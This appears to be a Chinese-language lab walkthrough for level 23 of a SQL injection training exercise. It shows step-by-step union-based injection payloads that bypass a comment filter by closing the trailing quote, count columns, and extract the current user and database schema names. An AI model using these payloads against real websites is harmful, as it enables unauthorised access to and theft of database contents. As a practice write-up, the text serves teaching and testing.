第二十三關:
這關還是一個GET型、字符串、單引符號、的有報錯的sql注入,輸入?id=1' ,頁面會報錯
我們繼續按照之前的套路來,先輸入?id=1' or '1'='1
頁面正常顯示,說明這個地方又很有可能存在sql注入。繼續輸入?id=1' or '1'='1' %23
發現頁面居然報錯,從報錯信息中發現我們的注釋符居然沒了,說明后台對注釋符中做了過濾。
像這種情況,沒辦法用注釋隔斷后面的sql語句,就只能用閉合的方法了。但是這里有一點就是,實際測試中,不知道表的行數,而這里又不能使用order by。 因為order by一般在sql語句的尾部,在order by后面再使用'閉合后面的單引號,sql會將order by 忽略掉。
例如我們輸入?id=1' order by 300 and '1'='1
程序永遠不回出錯,也就無法使用oder by進行判斷了。這里就只能一點點的嘗試了
依次輸入
?id=1' union select '1
?id=1' union select 1 , '1
?id=1' union select 1 , 1 ,'1
發現前來個都會報錯,而最后一個不報錯,說明當前查詢表的列數是三列。
知道是三列后,后面繼續輸入
?id=-1' union select 1,2,'3
可以看到,第2、3兩列的數據會顯示出來,由於第三列用於閉合后面的單引符號,我們只能將第二列用於查詢操作。
輸入?id=-1' union select 1, user(),'3 查詢處當前用戶名
輸入?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata),'3